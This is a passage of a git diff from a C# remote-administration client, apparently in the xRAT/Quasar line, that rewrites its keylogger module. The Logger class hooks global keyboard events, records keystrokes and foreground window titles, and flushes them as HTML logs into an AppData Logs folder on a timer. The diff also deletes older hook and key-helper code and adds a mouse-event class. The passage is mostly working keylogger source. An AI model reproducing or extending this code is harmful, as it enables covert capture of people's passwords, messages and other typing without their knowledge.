KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars);
|
||||
if (!isOk) yield break;
|
||||
foreach (var current in chars)
|
||||
{
|
||||
yield return new KeyPressEventArgsExt(current, keyboardHookStruct.Time);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,39 +0,0 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// An attribute that defines a field to be that of a basic Keylogger
|
||||
/// key. This attribute is used to represent the key in a better way
|
||||
/// by holding specific data of the key it defines.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false)]
|
||||
public class KeyloggerKey : Attribute
|
||||
{
|
||||
/// <summary>
|
||||
/// The appearance of the logged key.
|
||||
/// </summary>
|
||||
public string KeyName { get; private set; }
|
||||
/// <summary>
|
||||
/// Tells the Logger that this key is handled in a special way.
|
||||
/// </summary>
|
||||
// Please note that "Special Keys" will be colored in a different
|
||||
// way by the Logger.
|
||||
public bool IsSpecialKey { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Constructs the attribute used by the keylogger
|
||||
/// keys to hold data for them.
|
||||
/// </summary>
|
||||
/// <param name="PrintedName">The printed value of the key when converting
|
||||
/// the specific key to its string value.</param>
|
||||
/// <param name="IsSpecialKey">Determines if the key is a special key.</param>
|
||||
internal KeyloggerKey(string PrintedName, bool _IsSpecialKey = false)
|
||||
{
|
||||
KeyName = PrintedName;
|
||||
IsSpecialKey = _IsSpecialKey;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,154 +0,0 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Reflection;
|
||||
using xClient.Core.Keylogger;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides extension methods that are used to assist repetitive tasks that
|
||||
/// are done throughout the keylogging system.
|
||||
/// </summary>
|
||||
public static class KeyloggerHelpers
|
||||
{
|
||||
/// <summary>
|
||||
/// Extracts the byte representation of the specific key provided.
|
||||
/// </summary>
|
||||
/// <param name="sender">The keylogger key to obtain the byte data from.</param>
|
||||
/// <returns>Returns the byte representation of the key provided.</returns>
|
||||
public static byte GetKeyloggerKeyValue(this KeyloggerKeys sender)
|
||||
{
|
||||
return Convert.ToByte(sender);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the key provided is one that is considered to be
|
||||
/// special and should be handled differently by the keylogger.
|
||||
/// </summary>
|
||||
/// <param name="sender">The keylogger key to decide upon.</param>
|
||||
/// <returns>True if the key is special; False if the key is not special.</returns>
|
||||
public static bool IsSpecialKey(this KeyloggerKeys sender)
|
||||
{
|
||||
try
|
||||
{
|
||||
FieldInfo fieldInfo = sender.GetType().GetField(sender.ToString());
|
||||
|
||||
if (fieldInfo != null)
|
||||
{
|
||||
KeyloggerKey[] keyloggerKeyAttributes = fieldInfo.GetCustomAttributes(typeof(KeyloggerKey), false) as KeyloggerKey[];
|
||||
|
||||
if (keyloggerKeyAttributes != null && keyloggerKeyAttributes.Length > 0)
|
||||
{
|
||||
return keyloggerKeyAttributes[0].IsSpecialKey;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// The likely cause of this exception would be a lack of an attribute for the Keylogger Key.
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Obtains the name, if one was given, of the key provided.
|
||||
/// </summary>
|
||||
/// <param name="sender">The keylogger key to obtain the name from.</param>
|
||||
/// <returns>Returns the name of the key that was explicitly provided, or string.Empty
|
||||
/// if none was provided.</returns>
|
||||
public static string GetKeyloggerKeyName(this KeyloggerKeys sender)
|
||||
{
|
||||
try
|
||||
{
|
||||
FieldInfo fieldInfo = sender.GetType().GetField(sender.ToString());
|
||||
|
||||
if (fieldInfo != null)
|
||||
{
|
||||
KeyloggerKey[] keyloggerKeyAttributes = fieldInfo.GetCustomAttributes(typeof(KeyloggerKey), false) as KeyloggerKey[];
|
||||
|
||||
if (keyloggerKeyAttributes != null && keyloggerKeyAttributes.Length > 0)
|
||||
{
|
||||
return keyloggerKeyAttributes[0].KeyName;
|
||||
}
|
||||
}
|
||||
|
||||
return string.Empty;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// The likely cause of this exception would be a lack of an attribute for the Keylogger Key.
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the key code provided is in the pressed state.
|
||||
/// </summary>
|
||||
/// <param name="sender">The code for the key.</param>
|
||||
/// <returns>True if key is pressed; False if the key is not.</returns>
|
||||
public static bool IsKeyPressed(this short sender)
|
||||
{
|
||||
return (sender & 0x8000) != 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the key code provided is in a toggled state.
|
||||
/// </summary>
|
||||
/// <param name="sender">The code for the key.</param>
|
||||
/// <returns>True if toggled on; False if toggled off.</returns>
|
||||
public static bool IsKeyToggled(this short sender)
|
||||
{
|
||||
return (sender & 0x0001) != 0;
|
||||
}
|
||||
|
||||
public static string BuildString(this KeyloggerModifierKeys sender)
|
||||
{
|
||||
// Add to this method for more combinations that should be supported!
|
||||
|
||||
try
|
||||
{
|
||||
StringBuilder BuiltModifierKeys = new StringBuilder();
|
||||
|
||||
if (sender.CtrlKeyPressed)
|
||||
{
|
||||
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
|
||||
|
||||
if (!string.IsNullOrEmpty(CtrlName))
|
||||
BuiltModifierKeys.Append(CtrlName + " + ");
|
||||
}
|
||||
if (sender.AltKeyPressed)
|
||||
{
|
||||
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
|
||||
|
||||
if (!string.IsNullOrEmpty(AltName))
|
||||
BuiltModifierKeys.Append(AltName + " + ");
|
||||
}
|
||||
if (sender.ShiftKeyPressed)
|
||||
{
|
||||
string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName();
|
||||
|
||||
if (!string.IsNullOrEmpty(ShiftName))
|
||||
BuiltModifierKeys.Append(ShiftName + " + ");
|
||||
}
|
||||
if (sender.WindowsKeyPressed)
|
||||
{
|
||||
string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName();
|
||||
|
||||
if (!string.IsNullOrEmpty(WinName))
|
||||
BuiltModifierKeys.Append(WinName + " + ");
|
||||
}
|
||||
|
||||
return BuiltModifierKeys.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -8,16 +8,14 @@ using System.Runtime.InteropServices;
|
|||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
public class Logger
|
||||
/// <summary>
|
||||
/// Ties together the logic used to log keyboard input with the
|
||||
/// logic used to manipulate the output
|
||||
/// </summary>
|
||||
public class Logger : IDisposable
|
||||
{
|
||||
public static Logger Instance;
|
||||
|
||||
private bool IsEnabled = false;
|
||||
public bool Enabled
|
||||
{
|
||||
get { return this.IsEnabled; }
|
||||
set { SetHook(value); }
|
||||
}
|
||||
private bool disposed = false;
|
||||
|
||||
private StringBuilder _logFileBuffer;
|
||||
private string _hWndTitle;
|
||||
|
@ -26,32 +24,14 @@ namespace xClient.Core.Keylogger
|
|||
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
|
||||
"\\Logs\\";
|
||||
|
||||
private LoggedKey keyToLog;
|
||||
private readonly List<LoggedKey> _keysDown = new List<LoggedKey>();
|
||||
private readonly System.Timers.Timer _timerFlush;
|
||||
|
||||
public struct KeyData
|
||||
{
|
||||
public int vkCode;
|
||||
public int scanCode;
|
||||
public int flags;
|
||||
public int time;
|
||||
public int dwExtraInfo;
|
||||
}
|
||||
private List<Keys> PressedKeys = new List<Keys>();
|
||||
|
||||
private const int WM_KEYDOWN = 0x100;
|
||||
private const int WM_KEYUP = 0x101;
|
||||
private const int WM_SYSKEYDOWN = 0x104;
|
||||
private const int WM_SYSKEYUP = 0x105;
|
||||
private const int WH_KEYBOARD_LL = 13;
|
||||
|
||||
public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam);
|
||||
private HookProcDelegate _hook;
|
||||
|
||||
private IntPtr _hookHandle = IntPtr.Zero;
|
||||
private IKeyboardMouseEvents m_Events;
|
||||
|
||||
/// <summary>
|
||||
/// Creates the logging class that provides keylogging functionality.
|
||||
/// Creates the logging class that provides keylogging functionality.hello?
|
||||
/// </summary>
|
||||
public Logger(double flushInterval)
|
||||
{
|
||||
|
@ -60,129 +40,150 @@ namespace xClient.Core.Keylogger
|
|||
|
||||
WriteFile();
|
||||
|
||||
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
|
||||
this._logFileBuffer = new StringBuilder();
|
||||
|
||||
this._timerFlush = new System.Timers.Timer { Interval = flushInterval };
|
||||
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
|
||||
|
||||
this._logFileBuffer = new StringBuilder();
|
||||
Unsubscribe();
|
||||
Subscribe(Hook.GlobalEvents());
|
||||
|
||||
_timerFlush.Enabled = true;
|
||||
_timerFlush.Start();
|
||||
}
|
||||
|
||||
private string HighlightSpecialKey(string name)
|
||||
~Logger()
|
||||
{
|
||||
if (!string.IsNullOrEmpty(name))
|
||||
{
|
||||
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
|
||||
}
|
||||
else
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
// If Dispose() is called, we won't reach here and performance will not be
|
||||
// hit. This is here if Dispose() did not get called when it should have.
|
||||
// It is a safe-guard because we want to make sure we unsubscribe from these
|
||||
// things or the client may not be able to get keystrokes/mouse clicks to any
|
||||
// other application (including Windows).
|
||||
Dispose(true);
|
||||
}
|
||||
|
||||
private int HookProc(int nCode, int wParam, ref KeyData lParam)
|
||||
public void Dispose()
|
||||
{
|
||||
if (nCode >= 0)
|
||||
Dispose(true);
|
||||
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (!disposed)
|
||||
{
|
||||
switch (wParam)
|
||||
if (disposing)
|
||||
{
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
//TODO - handle modifier keys in a better way
|
||||
//
|
||||
// If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a]
|
||||
// perhaps some sort of filter?
|
||||
keyToLog = new LoggedKey();
|
||||
keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode;
|
||||
if (_timerFlush != null)
|
||||
{
|
||||
_timerFlush.Dispose();
|
||||
}
|
||||
|
||||
if (!_keysDown.Contains(keyToLog))
|
||||
{
|
||||
try
|
||||
{
|
||||
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
|
||||
if (!string.IsNullOrEmpty(_hWndTitle))
|
||||
{
|
||||
// Only write the title to the log file if the names are different.
|
||||
if (_hWndTitle != _hWndLastTitle)
|
||||
{
|
||||
_hWndLastTitle = _hWndTitle;
|
||||
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
|
||||
}
|
||||
}
|
||||
Unsubscribe();
|
||||
|
||||
if (keyToLog.ModifierKeysSet)
|
||||
{
|
||||
if (keyToLog.PressedKey.IsSpecialKey())
|
||||
{
|
||||
// The returned string could be empty. If it is, ignore it
|
||||
// because we don't know how to handle that special key.
|
||||
// The key would be considered unsupported.
|
||||
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
|
||||
disposed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!string.IsNullOrEmpty(pressedKey))
|
||||
{
|
||||
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// The pressed key is not special, but we have encountered
|
||||
// a situation of multiple key presses, so just build them.
|
||||
_logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() +
|
||||
FromKeys(keyToLog)));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (keyToLog.PressedKey.IsSpecialKey())
|
||||
{
|
||||
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
|
||||
private void Subscribe(IKeyboardMouseEvents events)
|
||||
{
|
||||
m_Events = events;
|
||||
m_Events.KeyDown += OnKeyDown;
|
||||
m_Events.KeyUp += OnKeyUp;
|
||||
m_Events.KeyPress += Logger_KeyPress;
|
||||
|
||||
if (!string.IsNullOrEmpty(pressedKey))
|
||||
{
|
||||
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_logFileBuffer.Append(FromKeys(keyToLog));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
// To-Do: Log these in a readable manner... Perhaps the location etc.
|
||||
//m_Events.MouseDown += OnMouseDown;
|
||||
//m_Events.MouseUp += OnMouseUp;
|
||||
//m_Events.MouseClick += OnMouseClick;
|
||||
//m_Events.MouseDoubleClick += OnMouseDoubleClick;
|
||||
|
||||
_keysDown.Add(keyToLog); //avoid multiple keypress holding down a key
|
||||
}
|
||||
break;
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
_keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message
|
||||
break;
|
||||
//m_Events.MouseMove += HookManager_MouseMove;
|
||||
//m_Events.MouseWheel += HookManager_MouseWheel;
|
||||
|
||||
//m_Events.MouseDownExt += HookManager_Supress;
|
||||
}
|
||||
|
||||
private void Unsubscribe()
|
||||
{
|
||||
if (m_Events == null) return;
|
||||
|
||||
m_Events.KeyDown -= OnKeyDown;
|
||||
m_Events.KeyUp -= OnKeyUp;
|
||||
m_Events.KeyPress -= Logger_KeyPress;
|
||||
|
||||
// To-Do: Log these in a readable manner... Perhaps the location etc.
|
||||
//m_Events.MouseDown -= OnMouseDown;
|
||||
//m_Events.MouseUp -= OnMouseUp;
|
||||
//m_Events.MouseClick -= OnMouseClick;
|
||||
//m_Events.MouseDoubleClick -= OnMouseDoubleClick;
|
||||
|
||||
//m_Events.MouseMove -= HookManager_MouseMove;
|
||||
//m_Events.MouseWheel -= HookManager_MouseWheel;
|
||||
|
||||
//m_Events.MouseDownExt -= HookManager_Supress;
|
||||
m_Events.Dispose();
|
||||
}
|
||||
|
||||
private void OnKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
PressedKeys.Add(e.KeyCode);
|
||||
}
|
||||
|
||||
private void OnKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
_logFileBuffer.Append(HighlightSpecialKeys(PressedKeys.ToArray()));
|
||||
|
||||
PressedKeys.Remove(e.KeyCode);
|
||||
}
|
||||
|
||||
private void Logger_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
_logFileBuffer.Append(e.KeyChar + " ");
|
||||
}
|
||||
|
||||
private string HighlightSpecialKeys(Keys[] _names)
|
||||
{
|
||||
string[] names = new string[_names.Length];
|
||||
Array.Copy(_names, names, _names.Length);
|
||||
|
||||
return HighlightSpecialKeys(names);
|
||||
}
|
||||
|
||||
private string HighlightSpecialKeys(string[] names)
|
||||
{
|
||||
if (names.Length < 1) return string.Empty;
|
||||
|
||||
StringBuilder specialKeys = new StringBuilder();
|
||||
|
||||
int ValidSpecialKeys = 0;
|
||||
for (int i = 0; i < names.Length; i++)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(names[i]))
|
||||
{
|
||||
if (ValidSpecialKeys == 0)
|
||||
{
|
||||
specialKeys.AppendFormat("<font color=\"0000FF\">([{0}] ", names[i]);
|
||||
}
|
||||
else
|
||||
{
|
||||
specialKeys.AppendFormat("+ [{0}]", names[i]);
|
||||
}
|
||||
|
||||
ValidSpecialKeys++;
|
||||
}
|
||||
}
|
||||
|
||||
return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam);
|
||||
}
|
||||
|
||||
private void SetHook(bool enable)
|
||||
{
|
||||
switch (enable)
|
||||
// If there are items in the special keys string builder, give it an ending
|
||||
// font tag and some trailing white-space.
|
||||
if (ValidSpecialKeys > 0)
|
||||
{
|
||||
case true:
|
||||
_hook = new HookProcDelegate(HookProc);
|
||||
_hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
|
||||
//hook installed, enabled
|
||||
_timerFlush.Enabled = true;
|
||||
IsEnabled = true;
|
||||
Application.Run(); //start message pump for our hook on this thread
|
||||
break;
|
||||
case false:
|
||||
_timerFlush.Enabled = false;
|
||||
if (_hookHandle != IntPtr.Zero)
|
||||
Win32.UnhookWindowsHookEx(_hookHandle);
|
||||
Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory
|
||||
break;
|
||||
specialKeys.Append(")</font> ");
|
||||
}
|
||||
|
||||
return specialKeys.ToString();
|
||||
}
|
||||
|
||||
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
|
||||
|
@ -241,42 +242,11 @@ namespace xClient.Core.Keylogger
|
|||
{
|
||||
StringBuilder sbTitle = new StringBuilder(1024);
|
||||
|
||||
Win32.GetWindowText(Win32.GetForegroundWindow().ToInt32(), sbTitle, sbTitle.Capacity);
|
||||
WinApi.ThreadNativeMethods.GetWindowText(WinApi.ThreadNativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
|
||||
|
||||
string title = sbTitle.ToString();
|
||||
|
||||
return title != string.Empty ? title : null;
|
||||
}
|
||||
|
||||
private IntPtr GetActiveKeyboardLayout()
|
||||
{
|
||||
uint pid;
|
||||
//Get the appropriate unicode character from the state of keyboard and from the Keyboard layout (language) of the active thread
|
||||
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
|
||||
}
|
||||
|
||||
private char? FromKeys(LoggedKey key)
|
||||
{
|
||||
//keyStates is a byte array that specifies the current state of the keyboard and keys
|
||||
//The keys we are interested in are modifier keys such as shift and caps lock
|
||||
byte[] keyStates = new byte[256];
|
||||
|
||||
if (key.ModifierKeys.ShiftKeyPressed)
|
||||
keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80;
|
||||
|
||||
if (key.ModifierKeys.CapsLock)
|
||||
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01;
|
||||
|
||||
if (key.ModifierKeys.NumLock)
|
||||
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01;
|
||||
|
||||
if (key.ModifierKeys.ScrollLock)
|
||||
keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01;
|
||||
|
||||
var sb = new StringBuilder(10);
|
||||
|
||||
return Win32.ToUnicodeEx(key.PressedKey.GetKeyloggerKeyValue(), 0, keyStates, sb, sb.Capacity, 0, GetActiveKeyboardLayout()) == 1
|
||||
? (char?)sb[0] : null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,211 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides extended data for the MouseClickExt and MouseMoveExt events.
|
||||
/// </summary>
|
||||
public class MouseEventExtArgs : MouseEventArgs
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="MouseEventExtArgs" /> class.
|
||||
/// </summary>
|
||||
/// <param name="buttons">One of the MouseButtons values indicating which mouse button was pressed.</param>
|
||||
/// <param name="clicks">The number of times a mouse button was pressed.</param>
|
||||
/// <param name="point">The x and y -coordinate of a mouse click, in pixels.</param>
|
||||
/// <param name="delta">A signed count of the number of detents the wheel has rotated.</param>
|
||||
/// <param name="timestamp">The system tick count when the event occurred.</param>
|
||||
/// <param name="isMouseKeyDown">True if event signals mouse button down.</param>
|
||||
/// <param name="isMouseKeyUp">True if event signals mouse button up.</param>
|
||||
internal MouseEventExtArgs(MouseButtons buttons, int clicks, Point point, int delta, int timestamp,
|
||||
bool isMouseKeyDown, bool isMouseKeyUp)
|
||||
: base(buttons, clicks, point.X, point.Y, delta)
|
||||
{
|
||||
IsMouseKeyDown = isMouseKeyDown;
|
||||
IsMouseKeyUp = isMouseKeyUp;
|
||||
Timestamp = timestamp;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Set this property to <b>true</b> inside your event handler to prevent further processing of the event in other
|
||||
/// applications.
|
||||
/// </summary>
|
||||
public bool Handled { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// True if event contains information about wheel scroll.
|
||||
/// </summary>
|
||||
public bool WheelScrolled
|
||||
{
|
||||
get { return Delta != 0; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// True if event signals a click. False if it was only a move or wheel scroll.
|
||||
/// </summary>
|
||||
public bool Clicked
|
||||
{
|
||||
get { return Clicks > 0; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// True if event signals mouse button down.
|
||||
/// </summary>
|
||||
public bool IsMouseKeyDown { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// True if event signals mouse button up.
|
||||
/// </summary>
|
||||
public bool IsMouseKeyUp { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// The system tick count of when the event occurred.
|
||||
/// </summary>
|
||||
public int Timestamp { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// </summary>
|
||||
internal Point Point
|
||||
{
|
||||
get { return new Point(X, Y); }
|
||||
}
|
||||
|
||||
internal static MouseEventExtArgs FromRawDataApp(CallbackData data)
|
||||
{
|
||||
var wParam = data.WParam;
|
||||
var lParam = data.LParam;
|
||||
|
||||
AppMouseStruct marshalledMouseStruct =
|
||||
(AppMouseStruct) Marshal.PtrToStructure(lParam, typeof (AppMouseStruct));
|
||||
return FromRawDataUniversal(wParam, marshalledMouseStruct.ToMouseStruct());
|
||||
}
|
||||
|
||||
internal static MouseEventExtArgs FromRawDataGlobal(CallbackData data)
|
||||
{
|
||||
var wParam = data.WParam;
|
||||
var lParam = data.LParam;
|
||||
|
||||
MouseStruct marshalledMouseStruct = (MouseStruct) Marshal.PtrToStructure(lParam, typeof (MouseStruct));
|
||||
return FromRawDataUniversal(wParam, marshalledMouseStruct);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates <see cref="MouseEventExtArgs" /> from relevant mouse data.
|
||||
/// </summary>
|
||||
/// <param name="wParam">First Windows Message parameter.</param>
|
||||
/// <param name="mouseInfo">A MouseStruct containing information from which to construct MouseEventExtArgs.</param>
|
||||
/// <returns>A new MouseEventExtArgs object.</returns>
|
||||
private static MouseEventExtArgs FromRawDataUniversal(IntPtr wParam, MouseStruct mouseInfo)
|
||||
{
|
||||
MouseButtons button = MouseButtons.None;
|
||||
short mouseDelta = 0;
|
||||
int clickCount = 0;
|
||||
|
||||
bool isMouseKeyDown = false;
|
||||
bool isMouseKeyUp = false;
|
||||
|
||||
|
||||
switch ((long) wParam)
|
||||
{
|
||||
case Messages.WM_LBUTTONDOWN:
|
||||
isMouseKeyDown = true;
|
||||
button = MouseButtons.Left;
|
||||
clickCount = 1;
|
||||
break;
|
||||
case Messages.WM_LBUTTONUP:
|
||||
isMouseKeyUp = true;
|
||||
button = MouseButtons.Left;
|
||||
clickCount = 1;
|
||||
break;
|
||||
case Messages.WM_LBUTTONDBLCLK:
|
||||
isMouseKeyDown = true;
|
||||
button = MouseButtons.Left;
|
||||
clickCount = 2;
|
||||
break;
|
||||
case Messages.WM_RBUTTONDOWN:
|
||||
isMouseKeyDown = true;
|
||||
button = MouseButtons.Right;
|
||||
clickCount = 1;
|
||||
break;
|
||||
case Messages.WM_RBUTTONUP:
|
||||
isMouseKeyUp = true;
|
||||
button = MouseButtons.Right;
|
||||
clickCount = 1;
|
||||
break;
|
||||
case Messages.WM_RBUTTONDBLCLK:
|
||||
isMouseKeyDown = true;
|
||||
button = MouseButtons.Right;
|
||||
clickCount = 2;
|
||||
break;
|
||||
case Messages.WM_MBUTTONDOWN:
|
||||
isMouseKeyDown = true;
|
||||
button = MouseButtons.Middle;
|
||||
clickCount = 1;
|
||||
break;
|
||||
case Messages.WM_MBUTTONUP:
|
||||
isMouseKeyUp = true;
|
||||
button = MouseButtons.Middle;
|
||||
clickCount = 1;
|
||||
break;
|
||||
case Messages.WM_MBUTTONDBLCLK:
|
||||
isMouseKeyDown = true;
|
||||
button = MouseButtons.Middle;
|
||||
clickCount = 2;
|
||||
break;
|
||||
case Messages.WM_MOUSEWHEEL:
|
||||
mouseDelta = mouseInfo.MouseData;
|
||||
break;
|
||||
case Messages.WM_XBUTTONDOWN:
|
||||
button = mouseInfo.MouseData == 1
|
||||
? MouseButtons.XButton1
|
||||
: MouseButtons.XButton2;
|
||||
isMouseKeyDown = true;
|
||||
clickCount = 1;
|
||||
break;
|
||||
|
||||
case Messages.WM_XBUTTONUP:
|
||||
button = mouseInfo.MouseData == 1
|
||||
? MouseButtons.XButton1
|
||||
: MouseButtons.XButton2;
|
||||
isMouseKeyUp = true;
|
||||
clickCount = 1;
|
||||
break;
|
||||
|
||||
case Messages.WM_XBUTTONDBLCLK:
|
||||
isMouseKeyDown = true;
|
||||
button = mouseInfo.MouseData == 1
|
||||
? MouseButtons.XButton1
|
||||
: MouseButtons.XButton2;
|
||||
clickCount = 2;
|
||||
break;
|
||||
|
||||
case Messages.WM_MOUSEHWHEEL:
|
||||
mouseDelta = mouseInfo.MouseData;
|
||||
break;
|
||||
}
|
||||
|
||||
var e = new MouseEventExtArgs(
|
||||
button,
|
||||
clickCount,
|
||||
mouseInfo.Point,
|
||||
mouseDelta,
|
||||
mouseInfo.Timestamp,
|
||||
isMouseKeyDown,
|
||||
isMouseKeyUp);
|
||||
|
||||
return e;
|
||||
}
|
||||
|
||||
internal MouseEventExtArgs ToDoubleClickEventArgs()
|
||||
{
|
||||
return new MouseEventExtArgs(Button, 2, Point, Delta, Timestamp, IsMouseKeyDown, IsMouseKeyUp);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,64 +0,0 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides calls to Native code for functions in the keylogger.
|
||||
/// </summary>
|
||||
public static class Win32
|
||||
{
|
||||
/// <summary>
|
||||
/// Translates (maps) a virtual-key code into a scan code or character value,
|
||||
/// or translates a scan code into a virtual-key code. The function
|
||||
/// translates the codes using the input language and an input locale identifier.
|
||||
/// </summary>
|
||||
/// <param name="uCode">The virtual-key code or scan code for a key</param>
|
||||
/// <param name="uMapType">The translation to perform.</param>
|
||||
/// <param name="dwhkl"></param>
|
||||
/// <returns>Returns </returns>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "MapVirtualKeyExW", ExactSpelling = true)]
|
||||
internal static extern int MapVirtualKeyExW(int uCode, int uMapType, IntPtr dwhkl);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern short GetAsyncKeyState(KeyloggerKeys vKey);
|
||||
|
||||
// The value passed to GetAsyncKeyState is scan code, so we need to translate
|
||||
// the data to virtual code, then to unicode character, then we can log to
|
||||
// the file.
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern short GetAsyncKeyState(int vKey);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern int GetWindowText(int hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
|
||||
internal static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff,
|
||||
int cchBuff, uint wFlags, IntPtr dwhkl);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
|
||||
|
||||
[DllImport("user32.dll", ExactSpelling = true)]
|
||||
internal static extern IntPtr GetKeyboardLayout(uint threadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
internal static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
|
||||
internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
